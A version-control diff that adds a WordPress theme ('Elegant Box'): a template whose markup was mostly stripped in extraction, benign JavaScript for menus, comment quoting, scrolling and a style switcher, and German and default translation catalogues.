changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,83 @@ + + + + +
    +
    + + notice + +
    +
    +
    +
    + + + + +
    +
    +

    +
    +
    + +
    + ', ''); ?> + + + + + + + + + +
    +
    + +
    + +
    +
    + +
    + + + () + +
    +
    + + +
    +
    + +
    +
    + + +
    + + + +
    + +
    +
    + + + + + + + + +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/js/base.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/js/base.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,50 @@ +/* +Author: mg12 +Update: 2008/08/13 +Author URI: http://www.neoease.com/ +*/ +(function() { + +function setStyleDisplay(id, status) { + document.getElementById(id).style.display = status; +} + +function goTop(acceleration, time) { + + acceleration = acceleration || 0.1; + time = time || 16; + + var dx = 0; + var dy = 0; + var bx = 0; + var by = 0; + var wx = 0; + var wy = 0; + + if (document.documentElement) { + dx = document.documentElement.scrollLeft || 0; + dy = document.documentElement.scrollTop || 0; + } + if (document.body) { + bx = document.body.scrollLeft || 0; + by = document.body.scrollTop || 0; + } + var wx = window.scrollX || 0; + var wy = window.scrollY || 0; + + var x = Math.max(wx, Math.max(bx, dx)); + var y = Math.max(wy, Math.max(by, dy)); + + var speed = 1 + acceleration; + window.scrollTo(Math.floor(x / speed), Math.floor(y / speed)); + if(x > 0 || y > 0) { + var invokeFunction = "MGJS.goTop(" + acceleration + ", " + time + ")" + window.setTimeout(invokeFunction, time); + } +} + +window['MGJS'] = {}; +window['MGJS']['setStyleDisplay'] = setStyleDisplay; +window['MGJS']['goTop'] = goTop; + +})(); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/js/comment.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/js/comment.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,98 @@ +/* +Author: mg12 +Update: 2008/08/13 +Author URI: http://www.neoease.com/ +*/ +(function() { + +function reply(authorId, commentId, commentBox) { + var author = document.getElementById(authorId).innerHTML; + var insertStr = '@' + author.replace(/\t|\n|\r\n/g, "") + ' \n'; + + appendReply(insertStr, commentBox); +} + +function quote(authorId, commentId, commentBodyId, commentBox) { + var author = document.getElementById(authorId).innerHTML; + var comment = document.getElementById(commentBodyId).innerHTML; + + var insertStr = '
    '; + insertStr += '\n' + author.replace(/\t|\n|\r\n/g, "") + ' :'; + insertStr += comment.replace(/\t/g, ""); + insertStr += '
    \n'; + + insertQuote(insertStr, commentBox); +} + +function appendReply(insertStr, commentBox) { + if(document.getElementById(commentBox) && document.getElementById(commentBox).type == 'textarea') { + field = document.getElementById(commentBox); + + } else { + alert("The comment box does not exist!"); + return false; + } + + if (field.value.indexOf(insertStr) > -1) { + alert("You've already appended this reply!"); + return false; + } + + if (field.value.replace(/\s|\t|\n/g, "") == '') { + field.value = insertStr; + } else { + field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr; + } + field.focus(); +} + +function insertQuote(insertStr, commentBox) { + if(document.getElementById(commentBox) && document.getElementById(commentBox).type == 'textarea') { + field = document.getElementById(commentBox); + + } else { + alert("The comment box does not exist!"); + return false; + } + + if(document.selection) { + field.focus(); + sel = document.selection.createRange(); + sel.text = insertStr; + field.focus(); + + } else if (field.selectionStart || field.selectionStart == '0') { + var startPos = field.selectionStart; + var endPos = field.selectionEnd; + var cursorPos = startPos; + field.value = field.value.substring(0, startPos) + + insertStr + + field.value.substring(endPos, field.value.length); + cursorPos += insertStr.length; + field.focus(); + field.selectionStart = cursorPos; + field.selectionEnd = cursorPos; + + } else { + field.value += insertStr; + field.focus(); + } +} + +function loadCommentShortcut(frm, submitbnt, desc) { + document.getElementById(frm).onkeydown = function (moz_ev) { + var ev = null; + ev = window.event ? window.event : moz_ev; + if (ev != null && ev.ctrlKey && ev.keyCode == 13) { + document.getElementById(submitbnt).click(); + } + }; + document.getElementById(submitbnt).value += desc; +} + +window['CMT'] = {}; +window['CMT']['reply'] = reply; +window['CMT']['quote'] = quote; +window['CMT']['loadCommentShortcut'] = loadCommentShortcut; + +})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/js/menu.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/js/menu.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,190 @@ +/* +Author: mg12 +Update: 2008/08/11 +Author URI: http://www.neoease.com/ +*/ +(function() { + +var Class = { + create: function() { + return function() { + this.initialize.apply(this, arguments); + } + } +} + +var GhostlyMenu = Class.create(); +GhostlyMenu.prototype = { + + initialize: function(target, align, sub) { + this.obj = cleanWhitespace(target); + this.align = align || 'left'; + this.sub = sub || -1; + + this.menu = this.obj.childNodes; + if (this.menu.length < 2) { return; } + + this.title = this.menu[0]; + this.body = this.menu[1]; + + cleanWhitespace(this.body).firstChild.getElementsByTagName('a')[0].className += 'first'; + + setStyle(this.body, 'visibility', 'hidden'); + setStyle(this.body, 'display', 'block'); + + addListener(this.obj, 'mouseover', bind(this, this.activate), false); + addListener(this.obj, 'mouseout', bind(this, this.deactivate), false); + }, + + activate: function() { + if(this.sub == 1) { + var pos = currentOffset(this.title); + var top = pos[1] + 3; + var left = getWidth(this.body) - 6; + } else { + var pos = cumulativeOffset(this.title); + var top = pos[1] + getHeight(this.title); + var left = pos[0] - 1; + } + + if(!/current/.test(this.title.className)) { + this.title.className += ' current'; + } + + setStyle(this.body, 'left', left + 'px'); + setStyle(this.body, 'top', top + 'px'); + setStyle(this.body, 'visibility', 'visible'); + }, + + deactivate: function(){ + this.title.className = this.title.className.replace('current', ''); + var thismenu = this; + var tid = setInterval( function() { + clearInterval(tid); + if (!/current/.test(thismenu.title.className)) { + setStyle(thismenu.body, 'visibility', 'hidden'); + } + return false; + }, 400); + } +} + +$A = function(iterable) { + if(!iterable) { + return []; + } + if(iterable.toArray) { + return iterable.toArray(); + } else { + var results = []; + for(var i = 0; i < iterable.length; i++) { + results.push(iterable[i]); + } + return results; + } +} + +bind = function() { + var array = this.$A(arguments); + var func = array[array.length - 1]; + var _method = func, args = array, object = args.shift(); + return function() { + return _method.apply(object, args.concat(array)); + } +} + +getHeight = function(element) { + return element.offsetHeight; +} + +getWidth = function(element) { + return element.offsetWidth; +} + +setStyle = function(element, key, value) { + element.style[key] = value; +} + +getStyle = function(element, key) { + return element.style[key]; +} + +cleanWhitespace = function(list) { + var node = list.firstChild; + while (node) { + var nextNode = node.nextSibling; + if(node.nodeType == 3 && !/\S/.test(node.nodeValue)) { + list.removeChild(node); + } + node = nextNode; + } + return list; +} + +currentOffset = function(element) { + var valueT = element.offsetTop || 0; + var valueL = element.offsetLeft || 0; + return [valueL, valueT]; +} + +cumulativeOffset = function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + } while (element); + return [valueL, valueT]; +} + +addListener = function(element, name, observer, useCapture) { + if(element.addEventListener) { + element.addEventListener(name, observer, useCapture); + } else if(element.attachEvent) { + element.attachEvent('on' + name, observer); + } +} + +function loadMenus() { + var menubar = document.getElementById('navigation'); + if (menubar) { + var list = menubar.getElementsByTagName('ul'); + for (var i = 0; i < list.length; i++) { + var menu = list[i].parentNode; + if(menu.parentNode === menubar) { + new GhostlyMenu(menu, 'left'); + } else { + new GhostlyMenu(menu, 'left', 1); + menu.firstChild.className += ' subtitle'; + } + } + } +} + +if (document.addEventListener) { + document.addEventListener("DOMContentLoaded", loadMenus, false); + +} else if (/MSIE/i.test(navigator.userAgent)) { + document.write(''); + var script = document.getElementById("__ie_onload_for_elegantbox"); + script.onreadystatechange = function() { + if (this.readyState == 'complete') { + loadMenus(); + } + } + +} else if (/WebKit/i.test(navigator.userAgent)) { + var _timer = setInterval( function() { + if (/loaded|complete/.test(document.readyState)) { + clearInterval(_timer); + loadMenus(); + } + }, 10); + +} else { + window.onload = function(e) { + loadMenus(); + } +} + +})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/js/styleswitcher.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/js/styleswitcher.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +/* Author: wpdesigner7 Modified by mg12 Update: 2009/08/13 */ (function() { function setActiveStyleSheet(title) { var i, a, main; for(i = 0; (a = document.getElementsByTagName("link")[i]); i++) { if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) { a.disabled = true; if(a.getAttribute("title") == title) { a.disabled = false; } } } } function getActiveStyleSheet() { var i, a; for(i = 0; (a = document.getElementsByTagName("link")[i]); i++) { if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title") && !a.disabled) { return a.getAttribute("title"); } } return null; } function getPreferredStyleSheet() { var i, a; for(i=0; (a = document.getElementsByTagName("link")[i]); i++) { if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) { return a.getAttribute("title"); } } return null; } function createCookie(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else expires = ""; document.cookie = name+"="+value+expires+"; path=/"; } function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i = 0; i < ca.length; i++) { var c = ca[i]; while(c.charAt(0)==' ') { c = c.substring(1, c.length); } if(c.indexOf(nameEQ) == 0) { var cookieStyle = c.substring(nameEQ.length, c.length); for(i = 0; (a = document.getElementsByTagName("link")[i]); i++) { if(a.getAttribute("title") == cookieStyle) { return cookieStyle; } } } } return null; } window.onload = function(e) { var cookie = readCookie("style"); var title = cookie ? cookie : getPreferredStyleSheet(); setActiveStyleSheet(title); } window.onunload = function(e) { var title = getActiveStyleSheet(); createCookie("style", title, 365); } var cookie = readCookie("style"); var title = cookie ? cookie : getPreferredStyleSheet(); setActiveStyleSheet(title); window['TSS'] = {}; window['TSS']['setActiveStyleSheet'] = setActiveStyleSheet; })(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/de_DE.mo Binary file web/wp-content/themes/elegant-box/languages/de_DE.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/de_DE.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/de_DE.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,510 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-05-09 10:26+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:7 +msgid "Error 404 - Not Found" +msgstr "Error 404 - Seite nicht gefunden" + +#: archive.php:16 +msgid "Search Results" +msgstr "Suchergebnisse" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archiv für die ‘%1$s’ Kategorie" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Beitrag getagged ‘%1$s’" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "Archiv für %1$s" + +#: archive.php:26 +#: archives.php:17 +#: comments.php:63 +#: functions.php:472 +#: index.php:33 +#: links.php:20 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:29 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:32 +msgid "Y" +msgstr "Y" + +#: archive.php:35 +msgid "Author Archive" +msgstr "Autor Archiv" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "Blog Archiv" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s at %2$s" + +#: archive.php:53 +msgid "l, F jS, Y" +msgstr "l, F jS, Y" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +msgid "H:i" +msgstr "H:i" + +#: archive.php:53 +#: index.php:50 +msgid "0 comments" +msgstr "0 Kommentare" + +#: archive.php:53 +#: index.php:50 +msgid "1 comment" +msgstr "1 Kommentar" + +#: archive.php:53 +#: index.php:50 +#, php-format +msgid "% comments" +msgstr "% Kommentare" + +#: archive.php:53 +#: archives.php:16 +#: comments.php:68 +#: comments.php:111 +#: functions.php:481 +#: index.php:31 +#: links.php:16 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "Bearbeiten" + +#: archive.php:54 +msgid "Categories: " +msgstr "Kategorien:" + +#: archive.php:55 +msgid "Tags: " +msgstr "Tags:" + +#: archive.php:62 +#: archives.php:45 +#: index.php:61 +#: links.php:44 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "Sorry, kein Beitrag enthält Deine Suchkriterien" + +#: archive.php:83 +#: index.php:78 +msgid "« Newer Entries" +msgstr "« Neuere Beiträge" + +#: archive.php:84 +#: index.php:79 +msgid "Older Entries »" +msgstr "Ältere Beiträge »" + +#: archives.php:17 +#: links.php:20 +#: page.php:11 +msgid "Update: " +msgstr "Aktualisiert: " + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "Bitte gebe Dein Passowort ein um die Kommentare zu sehen." + +#: comments.php:66 +#: functions.php:476 +#: functions.php:478 +msgid "Reply" +msgstr "Antworten" + +#: comments.php:67 +#: functions.php:480 +msgid "Quote" +msgstr "Zitieren" + +#: comments.php:75 +#: functions.php:488 +msgid "Your comment is awaiting moderation." +msgstr "Dein Kommentar wartet auf die Freischaltung eines Moderators" + +#: comments.php:97 +msgid " trackbacks" +msgstr "Trackbacks" + +#: comments.php:100 +msgid "Show" +msgstr "Zeigen" + +#: comments.php:101 +msgid "Hide" +msgstr "Verstecken" + +#: comments.php:130 +msgid "Comment pages" +msgstr "Kommentar Seiten" + +#: comments.php:145 +msgid "No comments yet." +msgstr "Keine Kommentare" + +#: comments.php:154 +msgid "Comments are closed." +msgstr "Die Kommentarfunktion ist geschlossen" + +#: comments.php:168 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Du musst eingeloggt sein um einen Kommentar zu schreiben." + +#: comments.php:188 +msgid "Logged in as" +msgstr "Eingeloggt als" + +#: comments.php:189 +msgid "Log out of this account" +msgstr "Konto abmelden" + +#: comments.php:189 +msgid "Logout »" +msgstr "Ausloggen »" + +#: comments.php:196 +#, php-format +msgid "Welcome back %s." +msgstr "Willkomen zurück auf %s." + +#: comments.php:197 +msgid "Change »" +msgstr "Ändere »" + +#: comments.php:198 +msgid "Close »" +msgstr "Schliese »" + +#: comments.php:205 +msgid "Name" +msgstr "Name" + +#: comments.php:205 +#: comments.php:209 +msgid "(required)" +msgstr "(Pflichtfeld)" + +#: comments.php:209 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (wird nicht veröffentlicht)" + +#: comments.php:213 +msgid "Website" +msgstr "Website" + +#: comments.php:232 +msgid "Subscribe to comments feed" +msgstr "Kommentar Feed abonnieren" + +#: comments.php:238 +msgid "Cancel" +msgstr "Abbrechen" + +#: comments.php:240 +msgid "Submit Comment" +msgstr "Kommentar senden" + +#: footer.php:2 +msgid "TOP" +msgstr "TOP" + +#: footer.php:22 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:31 +msgid " | Powered by WordPress" +msgstr " | Powered by WordPress" + +#: footer.php:32 +msgid " | Theme by NeoEase" +msgstr " | Theme by NeoEase" + +#: functions.php:143 +#: functions.php:163 +msgid "Current Theme Options" +msgstr "Aktuelle Theme Optionen" + +#: functions.php:168 +msgid "Style" +msgstr "Design" + +#: functions.php:172 +msgid "Allow visitors to change the style." +msgstr "Besucher dürfen Design ändern" + +#: functions.php:175 +msgid "Default style:" +msgstr "Default Design:" + +#: functions.php:188 +msgid "Please install a valid style in the /styles/ folder." +msgstr "Bitte installiere ein gültiges Design unter /styles/ folder." + +#: functions.php:200 +msgid "Search" +msgstr "Suche" + +#: functions.php:204 +msgid "Using google custom search engine." +msgstr "Verwende die Google Custom Suchmaschine." + +#: functions.php:207 +msgid "CX:" +msgstr "CX:" + +#: functions.php:210 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Finde name=\"cx\"in der Code Suchbox of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:219 +msgid "Menubar" +msgstr "Menü" + +#: functions.php:223 +msgid "Show pages as menu." +msgstr "Seite als Menü darstellen" + +#: functions.php:227 +msgid "Show categories as menu." +msgstr "Kategorie als Menü darstellen" + +#: functions.php:238 +msgid "Notice" +msgstr "Notiz" + +#: functions.php:240 +#: functions.php:266 +msgid "HTML enabled" +msgstr "HTML angeschalten" + +#: functions.php:245 +msgid "Show notice." +msgstr "Notiz zeigen" + +#: functions.php:249 +msgid "Display an icon in the notice bar." +msgstr "Icon in notice bar darstellen" + +#: functions.php:264 +msgid "Showcase" +msgstr "Beispiel" + +#: functions.php:271 +msgid "This showcase will display at the top of sidebar." +msgstr "Dieses Beispiel wird über der Sidebar angezeigt." + +#: functions.php:273 +#: functions.php:297 +msgid "Who can see?" +msgstr "Wer kann es sehen?" + +#: functions.php:276 +#: functions.php:300 +msgid "Registered Users" +msgstr "Registrierte Nutzer" + +#: functions.php:280 +#: functions.php:304 +msgid "Commentators" +msgstr "Kommentatoren" + +#: functions.php:284 +#: functions.php:308 +msgid "Visitors" +msgstr "Besucher" + +#: functions.php:295 +msgid "This showcase will display at the bottom of sidebar." +msgstr "Dieses Beispiel wird unter der Sidebar dargestellt." + +#: functions.php:324 +msgid "Posts" +msgstr "" + +#: functions.php:328 +msgid "Show categories on posts." +msgstr "Kategorie im Beitrag darstellen." + +#: functions.php:332 +msgid "Show tags on posts." +msgstr "Tags im Beitrag darstellen" + +#: functions.php:342 +msgid "Comments" +msgstr "" + +#: functions.php:346 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:356 +msgid "Feed" +msgstr "Fee" + +#: functions.php:360 +msgid "Using custom feed." +msgstr "Custom Feed nutzen" + +#: functions.php:362 +msgid "Feed URL:" +msgstr "Feed URL:" + +#: functions.php:367 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Feed Reader Liste anzeigen bei Mouse Over" + +#: functions.php:375 +msgid "Save Changes" +msgstr "Änderungen speichern" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - alle Beiträge" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - alle Kommentare" + +#: header.php:122 +msgid "Type text to search here..." +msgstr "" + +#: header.php:145 +msgid "Home" +msgstr "Home" + +#: header.php:154 +msgid "Subscribe to this blog..." +msgstr "Diesen Blog abonnieren..." + +#: header.php:154 +msgid "RSS feed" +msgstr "RSS feed" + +#: header.php:157 +#: header.php:158 +#: header.php:159 +#: header.php:160 +#: header.php:161 +#: header.php:162 +#: header.php:163 +#: header.php:164 +msgid "Subscribe with " +msgstr "Abonieren" + +#: header.php:157 +msgid "Youdao" +msgstr "Youdao" + +#: header.php:158 +msgid "Xian Guo" +msgstr "Youdao" + +#: header.php:159 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: header.php:160 +msgid "Google" +msgstr "Google" + +#: header.php:161 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: header.php:162 +msgid "newsgator" +msgstr "newsgator" + +#: header.php:163 +msgid "Bloglines" +msgstr "Bloglines" + +#: header.php:164 +msgid "iNezha" +msgstr "iNezha" + +#: index.php:35 +#: single.php:17 +msgid " | Categories: " +msgstr " | Kategorien: " + +#: index.php:38 +#: single.php:20 +msgid " | Tags: " +msgstr " | Tags: " + +#: index.php:45 +msgid "Read more..." +msgstr "mehr lesen..." + +#: links.php:18 +msgid "Edit links" +msgstr "Links editieren" + +#: links.php:24 +msgid "Blogroll" +msgstr "Blogroll" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "Design Typ:" + +#: sidebar.php:34 +msgid "Switch to " +msgstr "Ändern" + +#: single.php:32 +msgid "Leave a comment" +msgstr "Kommentar abgeben" + +#: single.php:34 +msgid "Trackback" +msgstr "Trackback" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/default.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/default.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,531 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-18 01:01+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:5 +msgid "Error 404 - Not Found" +msgstr "" + +#: archive.php:16 +msgid "Search Results" +msgstr "" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "" + +#: archive.php:26 +#: archives.php:17 +#: functions.php:531 +#: index.php:32 +#: links.php:25 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "" + +#: archive.php:29 +msgid "F, Y" +msgstr "" + +#: archive.php:32 +msgid "Y" +msgstr "" + +#: archive.php:35 +msgid "Author Archive" +msgstr "" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "" + +#: archive.php:55 +#: functions.php:531 +#, php-format +msgid "%1$s at %2$s" +msgstr "" + +#: archive.php:55 +msgid "l, F jS, Y" +msgstr "" + +#: archive.php:55 +#: functions.php:531 +msgid "H:i" +msgstr "" + +#: archive.php:55 +#: index.php:49 +msgid "0 comments" +msgstr "" + +#: archive.php:55 +#: index.php:49 +msgid "1 comment" +msgstr "" + +#: archive.php:55 +#: index.php:49 +#, php-format +msgid "% comments" +msgstr "" + +#: archive.php:55 +#: archives.php:16 +#: comments.php:82 +#: functions.php:540 +#: index.php:30 +#: links.php:20 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "" + +#: archive.php:56 +msgid "Categories: " +msgstr "" + +#: archive.php:57 +msgid "Tags: " +msgstr "" + +#: archive.php:63 +#: archives.php:45 +#: index.php:59 +#: links.php:62 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "" + +#: archive.php:84 +#: index.php:76 +msgid "« Newer Entries" +msgstr "" + +#: archive.php:85 +#: index.php:77 +msgid "Older Entries »" +msgstr "" + +#: archives.php:17 +#: links.php:25 +#: page.php:11 +msgid "Update: " +msgstr "" + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "" + +#: comments.php:51 +msgid "Comment pages" +msgstr "" + +#: comments.php:68 +msgid " trackbacks" +msgstr "" + +#: comments.php:70 +msgid "Show" +msgstr "" + +#: comments.php:71 +msgid "Hide" +msgstr "" + +#: comments.php:96 +msgid "No comments yet." +msgstr "" + +#: comments.php:105 +msgid "Comments are closed." +msgstr "" + +#: comments.php:119 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "" + +#: comments.php:139 +msgid "Logged in as" +msgstr "" + +#: comments.php:140 +msgid "Log out of this account" +msgstr "" + +#: comments.php:140 +msgid "Logout »" +msgstr "" + +#: comments.php:147 +#, php-format +msgid "Welcome back %s." +msgstr "" + +#: comments.php:148 +msgid "Change »" +msgstr "" + +#: comments.php:149 +msgid "Close »" +msgstr "" + +#: comments.php:156 +msgid "Name" +msgstr "" + +#: comments.php:156 +#: comments.php:160 +msgid "(required)" +msgstr "" + +#: comments.php:160 +msgid "E-Mail (will not be published)" +msgstr "" + +#: comments.php:164 +msgid "Website" +msgstr "" + +#: comments.php:183 +msgid "Subscribe to comments feed" +msgstr "" + +#: comments.php:189 +msgid "Cancel" +msgstr "" + +#: comments.php:191 +msgid "Submit Comment" +msgstr "" + +#: footer.php:2 +msgid "TOP" +msgstr "" + +#: footer.php:22 +msgid "Copyright © " +msgstr "" + +#: footer.php:31 +#, php-format +msgid " | Powered by WordPress" +msgstr "" + +#: footer.php:32 +#, php-format +msgid " | Theme by NeoEase" +msgstr "" + +#: functions.php:163 +#: functions.php:183 +msgid "Current Theme Options" +msgstr "" + +#: functions.php:188 +msgid "Style" +msgstr "" + +#: functions.php:192 +msgid "Allow visitors to change the style." +msgstr "" + +#: functions.php:195 +msgid "Default style:" +msgstr "" + +#: functions.php:208 +msgid "Please install a valid style in the /styles/ folder." +msgstr "" + +#: functions.php:220 +msgid "Search" +msgstr "" + +#: functions.php:224 +msgid "Using google custom search engine." +msgstr "" + +#: functions.php:227 +msgid "CX:" +msgstr "" + +#: functions.php:230 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "" + +#: functions.php:239 +msgid "Menubar" +msgstr "" + +#: functions.php:243 +msgid "Show pages as menu." +msgstr "" + +#: functions.php:247 +msgid "Show categories as menu." +msgstr "" + +#: functions.php:258 +msgid "Notice" +msgstr "" + +#: functions.php:260 +#: functions.php:286 +#: functions.php:420 +msgid "HTML enabled" +msgstr "" + +#: functions.php:265 +msgid "Show notice." +msgstr "" + +#: functions.php:269 +msgid "Display an icon in the notice bar." +msgstr "" + +#: functions.php:284 +msgid "Showcase" +msgstr "" + +#: functions.php:291 +msgid "This showcase will display at the top of sidebar." +msgstr "" + +#: functions.php:293 +#: functions.php:317 +msgid "Who can see?" +msgstr "" + +#: functions.php:296 +#: functions.php:320 +msgid "Registered Users" +msgstr "" + +#: functions.php:300 +#: functions.php:324 +msgid "Commentators" +msgstr "" + +#: functions.php:304 +#: functions.php:328 +msgid "Visitors" +msgstr "" + +#: functions.php:315 +msgid "This showcase will display at the bottom of sidebar." +msgstr "" + +#: functions.php:344 +msgid "Posts" +msgstr "" + +#: functions.php:348 +msgid "Show categories on posts." +msgstr "" + +#: functions.php:352 +msgid "Show tags on posts." +msgstr "" + +#: functions.php:362 +msgid "Comments" +msgstr "" + +#: functions.php:366 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:376 +msgid "Feed" +msgstr "" + +#: functions.php:380 +msgid "Using custom feed." +msgstr "" + +#: functions.php:382 +msgid "Feed URL:" +msgstr "" + +#: functions.php:387 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:397 +#: header.php:154 +msgid "Twitter" +msgstr "" + +#: functions.php:401 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:404 +msgid "Twitter username:" +msgstr "" + +#: functions.php:418 +msgid "Web Analytics" +msgstr "" + +#: functions.php:425 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:436 +msgid "Save Changes" +msgstr "" + +#: functions.php:535 +#: functions.php:537 +msgid "Reply" +msgstr "" + +#: functions.php:539 +msgid "Quote" +msgstr "" + +#: functions.php:547 +msgid "Your comment is awaiting moderation." +msgstr "" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "" + +#: header.php:122 +msgid "Type text to search here..." +msgstr "" + +#: header.php:145 +msgid "Home" +msgstr "" + +#: header.php:154 +msgid "Follow me!" +msgstr "" + +#: header.php:158 +msgid "Subscribe to this blog..." +msgstr "" + +#: header.php:158 +msgid "RSS feed" +msgstr "" + +#: header.php:161 +#: header.php:162 +#: header.php:163 +#: header.php:164 +#: header.php:165 +#: header.php:166 +#: header.php:167 +#: header.php:168 +msgid "Subscribe with " +msgstr "" + +#: header.php:161 +msgid "Youdao" +msgstr "" + +#: header.php:162 +msgid "Xian Guo" +msgstr "" + +#: header.php:163 +msgid "Zhua Xia" +msgstr "" + +#: header.php:164 +msgid "Google" +msgstr "" + +#: header.php:165 +msgid "My Yahoo!" +msgstr "" + +#: header.php:166 +msgid "newsgator" +msgstr "" + +#: header.php:167 +msgid "Bloglines" +msgstr "" + +#: header.php:168 +msgid "iNezha" +msgstr "" + +#: index.php:34 +#: single.php:17 +msgid " | Categories: " +msgstr "" + +#: index.php:37 +#: single.php:20 +msgid " | Tags: " +msgstr "" + +#: index.php:44 +msgid "Read more..." +msgstr "" + +#: links.php:22 +msgid "Edit links" +msgstr "" + +#: links.php:23 +msgid "Add link" +msgstr "" + +#: sidebar.php:28 +msgid "Theme Styles : " 